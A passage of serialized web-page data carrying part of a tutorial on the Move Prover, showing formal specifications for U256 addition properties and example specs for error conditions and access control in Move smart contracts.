4",{"type":24,"tag":83,"props":11495,"children":11496},{"style":107},[11497],{"type":29,"value":321},{"type":24,"tag":83,"props":11499,"children":11500},{"class":85,"line":128},[11501],{"type":24,"tag":83,"props":11502,"children":11503},{"emptyLinePlaceholder":16},[11504],{"type":29,"value":3422},{"type":24,"tag":83,"props":11506,"children":11507},{"class":85,"line":183},[11508,11512,11516],{"type":24,"tag":83,"props":11509,"children":11510},{"style":107},[11511],{"type":29,"value":1161},{"type":24,"tag":83,"props":11513,"children":11514},{"style":143},[11515],{"type":29,"value":509},{"type":24,"tag":83,"props":11517,"children":11518},{"style":107},[11519],{"type":29,"value":1453},{"type":24,"tag":83,"props":11521,"children":11522},{"class":85,"line":203},[11523],{"type":24,"tag":83,"props":11524,"children":11525},{"emptyLinePlaceholder":16},[11526],{"type":29,"value":3422},{"type":24,"tag":83,"props":11528,"children":11529},{"class":85,"line":212},[11530,11535,11539,11543,11547],{"type":24,"tag":83,"props":11531,"children":11532},{"style":90},[11533],{"type":29,"value":11534},"let",{"type":24,"tag":83,"props":11536,"children":11537},{"style":137},[11538],{"type":29,"value":3142},{"type":24,"tag":83,"props":11540,"children":11541},{"style":143},[11542],{"type":29,"value":146},{"type":24,"tag":83,"props":11544,"children":11545},{"style":245},[11546],{"type":29,"value":248},{"type":24,"tag":83,"props":11548,"children":11549},{"style":107},[11550],{"type":29,"value":321},{"type":24,"tag":83,"props":11552,"children":11553},{"class":85,"line":256},[11554,11558,11562,11566,11570],{"type":24,"tag":83,"props":11555,"children":11556},{"style":117},[11557],{"type":29,"value":11209},{"type":24,"tag":83,"props":11559,"children":11560},{"style":107},[11561],{"type":29,"value":223},{"type":24,"tag":83,"props":11563,"children":11564},{"style":137},[11565],{"type":29,"value":3482},{"type":24,"tag":83,"props":11567,"children":11568},{"style":143},[11569],{"type":29,"value":8463},{"type":24,"tag":83,"props":11571,"children":11572},{"style":107},[11573],{"type":29,"value":11574}," WORDS) {\n",{"type":24,"tag":83,"props":11576,"children":11577},{"class":85,"line":270},[11578,11582,11587,11591,11596,11600,11604,11608,11612,11616],{"type":24,"tag":83,"props":11579,"children":11580},{"style":90},[11581],{"type":29,"value":2746},{"type":24,"tag":83,"props":11583,"children":11584},{"style":137},[11585],{"type":29,"value":11586}," a1",{"type":24,"tag":83,"props":11588,"children":11589},{"style":143},[11590],{"type":29,"value":146},{"type":24,"tag":83,"props":11592,"children":11593},{"style":101},[11594],{"type":29,"value":11595}," get",{"type":24,"tag":83,"props":11597,"children":11598},{"style":107},[11599],{"type":29,"value":558},{"type":24,"tag":83,"props":11601,"children":11602},{"style":143},[11603],{"type":29,"value":2853},{"type":24,"tag":83,"props":11605,"children":11606},{"style":137},[11607],{"type":29,"value":2033},{"type":24,"tag":83,"props":11609,"children":11610},{"style":107},[11611],{"type":29,"value":568},{"type":24,"tag":83,"props":11613,"children":11614},{"style":137},[11615],{"type":29,"value":3482},{"type":24,"tag":83,"props":11617,"children":11618},{"style":107},[11619],{"type":29,"value":581},{"type":24,"tag":83,"props":11621,"children":11622},{"class":85,"line":302},[11623,11627,11632,11636,11640,11644,11648,11652,11656,11660],{"type":24,"tag":83,"props":11624,"children":11625},{"style":90},[11626],{"type":29,"value":2746},{"type":24,"tag":83,"props":11628,"children":11629},{"style":137},[11630],{"type":29,"value":11631}," b1",{"type":24,"tag":83,"props":11633,"children":11634},{"style":143},[11635],{"type":29,"value":146},{"type":24,"tag":83,"props":11637,"children":11638},{"style":101},[11639],{"type":29,"value":11595},{"type":24,"tag":83,"props":11641,"children":11642},{"style":107},[11643],{"type":29,"value":558},{"type":24,"tag":83,"props":11645,"children":11646},{"style":143},[11647],{"type":29,"value":2853},{"type":24,"tag":83,"props":11649,"children":11650},{"style":137},[11651],{"type":29,"value":2968},{"type":24,"tag":83,"props":11653,"children":11654},{"style":107},[11655],{"type":29,"value":568},{"type":24,"tag":83,"props":11657,"children":11658},{"style":137},[11659],{"type":29,"value":3482},{"type":24,"tag":83,"props":11661,"children":11662},{"style":107},[11663],{"type":29,"value":581},{"type":24,"tag":83,"props":11665,"children":11666},{"class":85,"line":324},[11667],{"type":24,"tag":83,"props":11668,"children":11669},{"emptyLinePlaceholder":16},[11670],{"type":29,"value":3422},{"type":24,"tag":83,"props":11672,"children":11673},{"class":85,"line":345},[11674,11678,11682],{"type":24,"tag":83,"props":11675,"children":11676},{"style":107},[11677],{"type":29,"value":1161},{"type":24,"tag":83,"props":11679,"children":11680},{"style":143},[11681],{"type":29,"value":509},{"type":24,"tag":83,"props":11683,"children":11684},{"style":107},[11685],{"type":29,"value":1453},{"type":24,"tag":25,"props":11687,"children":11688},{},[11689],{"type":29,"value":11690},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":24,"tag":73,"props":11692,"children":11694},{"code":11693},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[11695],{"type":24,"tag":32,"props":11696,"children":11697},{"__ignoreMap":7},[11698],{"type":29,"value":11693},{"type":24,"tag":25,"props":11700,"children":11701},{},[11702,11704,11709,11710,11716],{"type":29,"value":11703},"For the ",{"type":24,"tag":2040,"props":11705,"children":11706},{},[11707],{"type":29,"value":11708},"Associative Property",{"type":29,"value":223},{"type":24,"tag":32,"props":11711,"children":11713},{"className":11712},[],[11714],{"type":29,"value":11715},"a+(b+c) = (a+b)+c",{"type":29,"value":11717},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":24,"tag":73,"props":11719,"children":11721},{"code":11720,"language":2724,"meta":7,"className":2725,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[11722],{"type":24,"tag":32,"props":11723,"children":11724},{"__ignoreMap":7},[11725,11802,11841,11882,11921,11962,11969,12019,12058],{"type":24,"tag":83,"props":11726,"children":11727},{"class":85,"line":86},[11728,11732,11737,11741,11745,11749,11753,11757,11761,11765,11769,11773,11777,11781,11785,11789,11793,11798],{"type":24,"tag":83,"props":11729,"children":11730},{"style":137},[11731],{"type":29,"value":6854},{"type":24,"tag":83,"props":11733,"children":11734},{"style":101},[11735],{"type":29,"value":11736}," add_assoc_property",{"type":24,"tag":83,"props":11738,"children":11739},{"style":107},[11740],{"type":29,"value":558},{"type":24,"tag":83,"props":11742,"children":11743},{"style":137},[11744],{"type":29,"value":2033},{"type":24,"tag":83,"props":11746,"children":11747},{"style":143},[11748],{"type":29,"value":195},{"type":24,"tag":83,"props":11750,"children":11751},{"style":3163},[11752],{"type":29,"value":4475},{"type":24,"tag":83,"props":11754,"children":11755},{"style":107},[11756],{"type":29,"value":568},{"type":24,"tag":83,"props":11758,"children":11759},{"style":137},[11760],{"type":29,"value":2968},{"type":24,"tag":83,"props":11762,"children":11763},{"style":143},[11764],{"type":29,"value":195},{"type":24,"tag":83,"props":11766,"children":11767},{"style":3163},[11768],{"type":29,"value":4475},{"type":24,"tag":83,"props":11770,"children":11771},{"style":107},[11772],{"type":29,"value":568},{"type":24,"tag":83,"props":11774,"children":11775},{"style":137},[11776],{"type":29,"value":2891},{"type":24,"tag":83,"props":11778,"children":11779},{"style":143},[11780],{"type":29,"value":195},{"type":24,"tag":83,"props":11782,"children":11783},{"style":3163},[11784],{"type":29,"value":4475},{"type":24,"tag":83,"props":11786,"children":11787},{"style":107},[11788],{"type":29,"value":2872},{"type":24,"tag":83,"props":11790,"children":11791},{"style":143},[11792],{"type":29,"value":195},{"type":24,"tag":83,"props":11794,"children":11795},{"style":3163},[11796],{"type":29,"value":11797}," bool",{"type":24,"tag":83,"props":11799,"children":11800},{"style":107},[11801],{"type":29,"value":125},{"type":24,"tag":83,"props":11803,"children":11804},{"class":85,"line":113},[11805,11809,11813,11817,11821,11825,11829,11833,11837],{"type":24,"tag":83,"props":11806,"children":11807},{"style":90},[11808],{"type":29,"value":2746},{"type":24,"tag":83,"props":11810,"children":11811},{"style":137},[11812],{"type":29,"value":7937},{"type":24,"tag":83,"props":11814,"children":11815},{"style":143},[11816],{"type":29,"value":146},{"type":24,"tag":83,"props":11818,"children":11819},{"style":101},[11820],{"type":29,"value":9328},{"type":24,"tag":83,"props":11822,"children":11823},{"style":107},[11824],{"type":29,"value":558},{"type":24,"tag":83,"props":11826,"children":11827},{"style":137},[11828],{"type":29,"value":2968},{"type":24,"tag":83,"props":11830,"children":11831},{"style":107},[11832],{"type":29,"value":568},{"type":24,"tag":83,"props":11834,"children":11835},{"style":137},[11836],{"type":29,"value":2891},{"type":24,"tag":83,"props":11838,"children":11839},{"style":107},[11840],{"type":29,"value":581},{"type":24,"tag":83,"props":11842,"children":11843},{"class":85,"line":128},[11844,11848,11853,11857,11861,11865,11869,11873,11878],{"type":24,"tag":83,"props":11845,"children":11846},{"style":90},[11847],{"type":29,"value":2746},{"type":24,"tag":83,"props":11849,"children":11850},{"style":137},[11851],{"type":29,"value":11852}," result_11",{"type":24,"tag":83,"props":11854,"children":11855},{"style":143},[11856],{"type":29,"value":146},{"type":24,"tag":83,"props":11858,"children":11859},{"style":101},[11860],{"type":29,"value":9328},{"type":24,"tag":83,"props":11862,"children":11863},{"style":107},[11864],{"type":29,"value":558},{"type":24,"tag":83,"props":11866,"children":11867},{"style":137},[11868],{"type":29,"value":2033},{"type":24,"tag":83,"props":11870,"children":11871},{"style":107},[11872],{"type":29,"value":568},{"type":24,"tag":83,"props":11874,"children":11875},{"style":137},[11876],{"type":29,"value":11877},"result_1",{"type":24,"tag":83,"props":11879,"children":11880},{"style":107},[11881],{"type":29,"value":581},{"type":24,"tag":83,"props":11883,"children":11884},{"class":85,"line":183},[11885,11889,11893,11897,11901,11905,11909,11913,11917],{"type":24,"tag":83,"props":11886,"children":11887},{"style":90},[11888],{"type":29,"value":2746},{"type":24,"tag":83,"props":11890,"children":11891},{"style":137},[11892],{"type":29,"value":7963},{"type":24,"tag":83,"props":11894,"children":11895},{"style":143},[11896],{"type":29,"value":146},{"type":24,"tag":83,"props":11898,"children":11899},{"style":101},[11900],{"type":29,"value":9328},{"type":24,"tag":83,"props":11902,"children":11903},{"style":107},[11904],{"type":29,"value":558},{"type":24,"tag":83,"props":11906,"children":11907},{"style":137},[11908],{"type":29,"value":2033},{"type":24,"tag":83,"props":11910,"children":11911},{"style":107},[11912],{"type":29,"value":568},{"type":24,"tag":83,"props":11914,"children":11915},{"style":137},[11916],{"type":29,"value":2968},{"type":24,"tag":83,"props":11918,"children":11919},{"style":107},[11920],{"type":29,"value":581},{"type":24,"tag":83,"props":11922,"children":11923},{"class":85,"line":203},[11924,11928,11933,11937,11941,11945,11949,11953,11958],{"type":24,"tag":83,"props":11925,"children":11926},{"style":90},[11927],{"type":29,"value":2746},{"type":24,"tag":83,"props":11929,"children":11930},{"style":137},[11931],{"type":29,"value":11932}," result_22",{"type":24,"tag":83,"props":11934,"children":11935},{"style":143},[11936],{"type":29,"value":146},{"type":24,"tag":83,"props":11938,"children":11939},{"style":101},[11940],{"type":29,"value":9328},{"type":24,"tag":83,"props":11942,"children":11943},{"style":107},[11944],{"type":29,"value":558},{"type":24,"tag":83,"props":11946,"children":11947},{"style":137},[11948],{"type":29,"value":2891},{"type":24,"tag":83,"props":11950,"children":11951},{"style":107},[11952],{"type":29,"value":568},{"type":24,"tag":83,"props":11954,"children":11955},{"style":137},[11956],{"type":29,"value":11957},"result_2",{"type":24,"tag":83,"props":11959,"children":11960},{"style":107},[11961],{"type":29,"value":581},{"type":24,"tag":83,"props":11963,"children":11964},{"class":85,"line":212},[11965],{"type":24,"tag":83,"props":11966,"children":11967},{"emptyLinePlaceholder":16},[11968],{"type":29,"value":3422},{"type":24,"tag":83,"props":11970,"children":11971},{"class":85,"line":256},[11972,11976,11980,11984,11989,11993,11997,12002,12006,12010,12015],{"type":24,"tag":83,"props":11973,"children":11974},{"style":90},[11975],{"type":29,"value":2746},{"type":24,"tag":83,"props":11977,"children":11978},{"style":137},[11979],{"type":29,"value":7607},{"type":24,"tag":83,"props":11981,"children":11982},{"style":143},[11983],{"type":29,"value":146},{"type":24,"tag":83,"props":11985,"children":11986},{"style":101},[11987],{"type":29,"value":11988}," compare",{"type":24,"tag":83,"props":11990,"children":11991},{"style":107},[11992],{"type":29,"value":558},{"type":24,"tag":83,"props":11994,"children":11995},{"style":143},[11996],{"type":29,"value":2853},{"type":24,"tag":83,"props":11998,"children":11999},{"style":137},[12000],{"type":29,"value":12001},"result_11",{"type":24,"tag":83,"props":12003,"children":12004},{"style":107},[12005],{"type":29,"value":568},{"type":24,"tag":83,"props":12007,"children":12008},{"style":143},[12009],{"type":29,"value":2853},{"type":24,"tag":83,"props":12011,"children":12012},{"style":137},[12013],{"type":29,"value":12014},"result_22",{"type":24,"tag":83,"props":12016,"children":12017},{"style":107},[12018],{"type":29,"value":581},{"type":24,"tag":83,"props":12020,"children":12021},{"class":85,"line":270},[12022,12026,12031,12035,12039,12044,12048,12053],{"type":24,"tag":83,"props":12023,"children":12024},{"style":117},[12025],{"type":29,"value":218},{"type":24,"tag":83,"props":12027,"children":12028},{"style":107},[12029],{"type":29,"value":12030}," ( ",{"type":24,"tag":83,"props":12032,"children":12033},{"style":137},[12034],{"type":29,"value":7672},{"type":24,"tag":83,"props":12036,"children":12037},{"style":143},[12038],{"type":29,"value":3028},{"type":24,"tag":83,"props":12040,"children":12041},{"style":107},[12042],{"type":29,"value":12043}," EQUAL ) ",{"type":24,"tag":83,"props":12045,"children":12046},{"style":90},[12047],{"type":29,"value":1237},{"type":24,"tag":83,"props":12049,"children":12050},{"style":117},[12051],{"type":29,"value":12052}," else",{"type":24,"tag":83,"props":12054,"children":12055},{"style":90},[12056],{"type":29,"value":12057}," false\n",{"type":24,"tag":83,"props":12059,"children":12060},{"class":85,"line":302},[12061],{"type":24,"tag":83,"props":12062,"children":12063},{"style":107},[12064],{"type":29,"value":464},{"type":24,"tag":25,"props":12066,"children":12067},{},[12068],{"type":29,"value":12069},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":24,"tag":73,"props":12071,"children":12073},{"code":12072,"language":2724,"meta":7,"className":2725,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[12074],{"type":24,"tag":32,"props":12075,"children":12076},{"__ignoreMap":7},[12077,12092,12196,12220],{"type":24,"tag":83,"props":12078,"children":12079},{"class":85,"line":86},[12080,12084,12088],{"type":24,"tag":83,"props":12081,"children":12082},{"style":137},[12083],{"type":29,"value":8020},{"type":24,"tag":83,"props":12085,"children":12086},{"style":137},[12087],{"type":29,"value":11736},{"type":24,"tag":83,"props":12089,"children":12090},{"style":107},[12091],{"type":29,"value":125},{"type":24,"tag":83,"props":12093,"children":12094},{"class":85,"line":113},[12095,12099,12103,12108,12112,12116,12120,12124,12128,12132,12136,12140,12144,12148,12152,12156,12160,12164,12168,12172,12176,12180,12184,12188,12192],{"type":24,"tag":83,"props":12096,"children":12097},{"style":137},[12098],{"type":29,"value":9649},{"type":24,"tag":83,"props":12100,"children":12101},{"style":107},[12102],{"type":29,"value":223},{"type":24,"tag":83,"props":12104,"children":12105},{"style":101},[12106],{"type":29,"value":12107},"value_of_U256",{"type":24,"tag":83,"props":12109,"children":12110},{"style":107},[12111],{"type":29,"value":558},{"type":24,"tag":83,"props":12113,"children":12114},{"style":137},[12115],{"type":29,"value":2033},{"type":24,"tag":83,"props":12117,"children":12118},{"style":107},[12119],{"type":29,"value":633},{"type":24,"tag":83,"props":12121,"children":12122},{"style":143},[12123],{"type":29,"value":4126},{"type":24,"tag":83,"props":12125,"children":12126},{"style":101},[12127],{"type":29,"value":9450},{"type":24,"tag":83,"props":12129,"children":12130},{"style":107},[12131],{"type":29,"value":558},{"type":24,"tag":83,"props":12133,"children":12134},{"style":137},[12135],{"type":29,"value":2968},{"type":24,"tag":83,"props":12137,"children":12138},{"style":107},[12139],{"type":29,"value":8581},{"type":24,"tag":83,"props":12141,"children":12142},{"style":143},[12143],{"type":29,"value":4126},{"type":24,"tag":83,"props":12145,"children":12146},{"style":101},[12147],{"type":29,"value":9450},{"type":24,"tag":83,"props":12149,"children":12150},{"style":107},[12151],{"type":29,"value":558},{"type":24,"tag":83,"props":12153,"children":12154},{"style":137},[12155],{"type":29,"value":2891},{"type":24,"tag":83,"props":12157,"children":12158},{"style":107},[12159],{"type":29,"value":633},{"type":24,"tag":83,"props":12161,"children":12162},{"style":143},[12163],{"type":29,"value":9690},{"type":24,"tag":83,"props":12165,"children":12166},{"style":3163},[12167],{"type":29,"value":9406},{"type":24,"tag":83,"props":12169,"children":12170},{"style":143},[12171],{"type":29,"value":9563},{"type":24,"tag":83,"props":12173,"children":12174},{"style":3163},[12175],{"type":29,"value":9406},{"type":24,"tag":83,"props":12177,"children":12178},{"style":143},[12179],{"type":29,"value":9563},{"type":24,"tag":83,"props":12181,"children":12182},{"style":3163},[12183],{"type":29,"value":9406},{"type":24,"tag":83,"props":12185,"children":12186},{"style":143},[12187],{"type":29,"value":9563},{"type":24,"tag":83,"props":12189,"children":12190},{"style":3163},[12191],{"type":29,"value":9406},{"type":24,"tag":83,"props":12193,"children":12194},{"style":107},[12195],{"type":29,"value":321},{"type":24,"tag":83,"props":12197,"children":12198},{"class":85,"line":128},[12199,12203,12207,12211,12216],{"type":24,"tag":83,"props":12200,"children":12201},{"style":137},[12202],{"type":29,"value":9947},{"type":24,"tag":83,"props":12204,"children":12205},{"style":137},[12206],{"type":29,"value":8906},{"type":24,"tag":83,"props":12208,"children":12209},{"style":143},[12210],{"type":29,"value":3028},{"type":24,"tag":83,"props":12212,"children":12213},{"style":90},[12214],{"type":29,"value":12215}," true",{"type":24,"tag":83,"props":12217,"children":12218},{"style":107},[12219],{"type":29,"value":321},{"type":24,"tag":83,"props":12221,"children":12222},{"class":85,"line":183},[12223],{"type":24,"tag":83,"props":12224,"children":12225},{"style":107},[12226],{"type":29,"value":464},{"type":24,"tag":25,"props":12228,"children":12229},{},[12230],{"type":29,"value":12231},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":24,"tag":73,"props":12233,"children":12234},{"code":11693},[12235],{"type":24,"tag":32,"props":12236,"children":12237},{"__ignoreMap":7},[12238],{"type":29,"value":11693},{"type":24,"tag":25,"props":12240,"children":12241},{},[12242,12244,12251],{"type":29,"value":12243},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":24,"tag":2033,"props":12245,"children":12248},{"href":12246,"rel":12247},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[2037],[12249],{"type":29,"value":12250},"spec-lang.md",{"type":29,"value":12252}," in the Move Repository.",{"type":24,"tag":51,"props":12254,"children":12256},{"id":12255},"use-cases",[12257],{"type":29,"value":12258},"Use Cases",{"type":24,"tag":25,"props":12260,"children":12261},{},[12262],{"type":29,"value":12263},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":24,"tag":25,"props":12265,"children":12266},{},[12267],{"type":29,"value":12268},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":24,"tag":1818,"props":12270,"children":12272},{"id":12271},"error-conditions",[12273],{"type":29,"value":12274},"Error Conditions",{"type":24,"tag":25,"props":12276,"children":12277},{},[12278,12280,12286],{"type":29,"value":12279},"Taking an example from ",{"type":24,"tag":32,"props":12281,"children":12283},{"className":12282},[],[12284],{"type":29,"value":12285},"std::fixed_point32",{"type":29,"value":12287},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":24,"tag":73,"props":12289,"children":12291},{"code":12290,"language":2724,"meta":7,"className":2725,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[12292],{"type":24,"tag":32,"props":12293,"children":12294},{"__ignoreMap":7},[12295,12316,12336,12357,12403,12410,12473,12512],{"type":24,"tag":83,"props":12296,"children":12297},{"class":85,"line":86},[12298,12302,12307,12312],{"type":24,"tag":83,"props":12299,"children":12300},{"style":137},[12301],{"type":29,"value":8673},{"type":24,"tag":83,"props":12303,"children":12304},{"style":137},[12305],{"type":29,"value":12306}," schema",{"type":24,"tag":83,"props":12308,"children":12309},{"style":3163},[12310],{"type":29,"value":12311}," MultiplyAbortsIf",{"type":24,"tag":83,"props":12313,"children":12314},{"style":107},[12315],{"type":29,"value":125},{"type":24,"tag":83,"props":12317,"children":12318},{"class":85,"line":113},[12319,12324,12328,12332],{"type":24,"tag":83,"props":12320,"children":12321},{"style":137},[12322],{"type":29,"value":12323},"          val",{"type":24,"tag":83,"props":12325,"children":12326},{"style":143},[12327],{"type":29,"value":195},{"type":24,"tag":83,"props":12329,"children":12330},{"style":137},[12331],{"type":29,"value":9479},{"type":24,"tag":83,"props":12333,"children":12334},{"style":107},[12335],{"type":29,"value":321},{"type":24,"tag":83,"props":12337,"children":12338},{"class":85,"line":128},[12339,12344,12348,12353],{"type":24,"tag":83,"props":12340,"children":12341},{"style":137},[12342],{"type":29,"value":12343},"          multiplier",{"type":24,"tag":83,"props":12345,"children":12346},{"style":143},[12347],{"type":29,"value":195},{"type":24,"tag":83,"props":12349,"children":12350},{"style":3163},[12351],{"type":29,"value":12352}," FixedPoint32",{"type":24,"tag":83,"props":12354,"children":12355},{"style":107},[12356],{"type":29,"value":321},{"type":24,"tag":83,"props":12358,"children":12359},{"class":85,"line":183},[12360,12365,12370,12374,12379,12383,12388,12393,12398],{"type":24,"tag":83,"props":12361,"children":12362},{"style":137},[12363],{"type":29,"value":12364},"          aborts_if",{"type":24,"tag":83,"props":12366,"children":12367},{"style":101},[12368],{"type":29,"value":12369}," spec_multiply_u64",{"type":24,"tag":83,"props":12371,"children":12372},{"style":107},[12373],{"type":29,"value":558},{"type":24,"tag":83,"props":12375,"children":12376},{"style":137},[12377],{"type":29,"value":12378},"val",{"type":24,"tag":83,"props":12380,"children":12381},{"style":107},[12382],{"type":29,"value":568},{"type":24,"tag":83,"props":12384,"children":12385},{"style":137},[12386],{"type":29,"value":12387},"multiplier",{"type":24,"tag":83,"props":12389,"children":12390},{"style":107},[12391],{"type":29,"value":12392},") > MAX_U64 ",{"type":24,"tag":83,"props":12394,"children":12395},{"style":137},[12396],{"type":29,"value":12397},"with",{"type":24,"tag":83,"props":12399,"children":12400},{"style":107},[12401],{"type":29,"value":12402}," EMULTIPLICATION;\n",{"type":24,"tag":83,"props":12404,"children":12405},{"class":85,"line":203},[12406],{"type":24,"tag":83,"props":12407,"children":12408},{"style":107},[12409],{"type":29,"value":364},{"type":24,"tag":83,"props":12411,"children":12412},{"class":85,"line":212},[12413,12417,12421,12425,12429,12433,12437,12441,12445,12449,12453,12457,12461,12465,12469],{"type":24,"tag":83,"props":12414,"children":12415},{"style":137},[12416],{"type":29,"value":8673},{"type":24,"tag":83,"props":12418,"children":12419},{"style":137},[12420],{"type":29,"value":5953},{"type":24,"tag":83,"props":12422,"children":12423},{"style":101},[12424],{"type":29,"value":12369},{"type":24,"tag":83,"props":12426,"children":12427},{"style":107},[12428],{"type":29,"value":558},{"type":24,"tag":83,"props":12430,"children":12431},{"style":137},[12432],{"type":29,"value":12378},{"type":24,"tag":83,"props":12434,"children":12435},{"style":143},[12436],{"type":29,"value":195},{"type":24,"tag":83,"props":12438,"children":12439},{"style":137},[12440],{"type":29,"value":9479},{"type":24,"tag":83,"props":12442,"children":12443},{"style":107},[12444],{"type":29,"value":568},{"type":24,"tag":83,"props":12446,"children":12447},{"style":137},[12448],{"type":29,"value":12387},{"type":24,"tag":83,"props":12450,"children":12451},{"style":143},[12452],{"type":29,"value":195},{"type":24,"tag":83,"props":12454,"children":12455},{"style":3163},[12456],{"type":29,"value":12352},{"type":24,"tag":83,"props":12458,"children":12459},{"style":107},[12460],{"type":29,"value":2872},{"type":24,"tag":83,"props":12462,"children":12463},{"style":143},[12464],{"type":29,"value":195},{"type":24,"tag":83,"props":12466,"children":12467},{"style":137},[12468],{"type":29,"value":9479},{"type":24,"tag":83,"props":12470,"children":12471},{"style":107},[12472],{"type":29,"value":125},{"type":24,"tag":83,"props":12474,"children":12475},{"class":85,"line":256},[12476,12480,12484,12488,12493,12497,12502,12507],{"type":24,"tag":83,"props":12477,"children":12478},{"style":107},[12479],{"type":29,"value":8454},{"type":24,"tag":83,"props":12481,"children":12482},{"style":137},[12483],{"type":29,"value":12378},{"type":24,"tag":83,"props":12485,"children":12486},{"style":143},[12487],{"type":29,"value":9563},{"type":24,"tag":83,"props":12489,"children":12490},{"style":137},[12491],{"type":29,"value":12492}," multiplier",{"type":24,"tag":83,"props":12494,"children":12495},{"style":143},[12496],{"type":29,"value":161},{"type":24,"tag":83,"props":12498,"children":12499},{"style":107},[12500],{"type":29,"value":12501},"value) ",{"type":24,"tag":83,"props":12503,"children":12504},{"style":143},[12505],{"type":29,"value":12506},">>",{"type":24,"tag":83,"props":12508,"children":12509},{"style":245},[12510],{"type":29,"value":12511}," 32\n",{"type":24,"tag":83,"props":12513,"children":12514},{"class":85,"line":270},[12515],{"type":24,"tag":83,"props":12516,"children":12517},{"style":107},[12518],{"type":29,"value":364},{"type":24,"tag":1818,"props":12520,"children":12522},{"id":12521},"access-control-policies",[12523],{"type":29,"value":12524},"Access Control Policies",{"type":24,"tag":25,"props":12526,"children":12527},{},[12528],{"type":29,"value":12529},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":24,"tag":25,"props":12531,"children":12532},{},[12533,12535,12541,12543,12548],{"type":29,"value":12534},"For example, in ",{"type":24,"tag":32,"props":12536,"children":12538},{"className":12537},[],[12539],{"type":29,"value":12540},"std::offer",{"type":29,"value":12542}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":24,"tag":2655,"props":12544,"children":12545},{},[12546],{"type":29,"value":12547},"or",{"type":29,"value":12549}," the recipient is now allowed.",{"type":24,"tag":73,"props":12551,"children":12553},{"code":12552,"language":2724,"meta":7,"className":2725,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[12554],{"type":24,"tag":32,"props":12555,"children":12556},{"__ignoreMap":7},[12557,12574,12582,12590,12598,12645,12703,12746,12812],{"type":24,"tag":83,"props":12558,"children":12559},{"class":85,"line":86},[12560,12565,12570],{"type":24,"tag":83,"props":12561,"children":12562},{"style":137},[12563],{"type":29,"value":12564},"    spec",{"type":24,"tag":83,"props":12566,"children":12567},{"style":137},[12568],{"type":29,"value":12569}," redeem",{"type":24,"tag":83,"props":12571,"children":12572},{"style":107},[12573],{"type":29,"value":125},{"type":24,"tag":83,"props":12575,"children":12576},{"class":85,"line":113},[12577],{"type":24,"tag":83,"props":12578,"children":12579},{"style":2735},[12580],{"type":29,"value":12581},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":24,"tag":83,"props":12583,"children":12584},{"class":85,"line":128},[12585],{"type":24,"tag":83,"props":12586,"children":12587},{"style":2735},[12588],{"type":29,"value":12589},"      /// cannot redeem the offer.\n",{"type":24,"tag":83,"props":12591,"children":12592},{"class":85,"line":183},[12593],{"type":24,"tag":83,"props":12594,"children":12595},{"style":2735},[12596],{"type":29,"value":12597},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":24,"tag":83,"props":12599,"children":12600},{"class":85,"line":203},[12601,12605,12610,12614,12618,12623,12627,12632,12636,12641],{"type":24,"tag":83,"props":12602,"children":12603},{"style":137},[12604],{"type":29,"value":8798},{"type":24,"tag":83,"props":12606,"children":12607},{"style":143},[12608],{"type":29,"value":12609}," !",{"type":24,"tag":83,"props":12611,"children":12612},{"style":137},[12613],{"type":29,"value":6451},{"type":24,"tag":83,"props":12615,"children":12616},{"style":107},[12617],{"type":29,"value":5552},{"type":24,"tag":83,"props":12619,"children":12620},{"style":3163},[12621],{"type":29,"value":12622},"Offer",{"type":24,"tag":83,"props":12624,"children":12625},{"style":107},[12626],{"type":29,"value":5552},{"type":24,"tag":83,"props":12628,"children":12629},{"style":3163},[12630],{"type":29,"value":12631},"Offered",{"type":24,"tag":83,"props":12633,"children":12634},{"style":107},[12635],{"type":29,"value":6473},{"type":24,"tag":83,"props":12637,"children":12638},{"style":137},[12639],{"type":29,"value":12640},"offer_address",{"type":24,"tag":83,"props":12642,"children":12643},{"style":107},[12644],{"type":29,"value":581},{"type":24,"tag":83,"props":12646,"children":12647},{"class":85,"line":212},[12648,12652,12656,12661,12665,12669,12673,12677,12682,12686,12690,12694,12699],{"type":24,"tag":83,"props":12649,"children":12650},{"style":137},[12651],{"type":29,"value":8798},{"type":24,"tag":83,"props":12653,"children":12654},{"style":143},[12655],{"type":29,"value":12609},{"type":24,"tag":83,"props":12657,"children":12658},{"style":137},[12659],{"type":29,"value":12660},"is_allowed_recipient",{"type":24,"tag":83,"props":12662,"children":12663},{"style":107},[12664],{"type":29,"value":5552},{"type":24,"tag":83,"props":12666,"children":12667},{"style":3163},[12668],{"type":29,"value":12631},{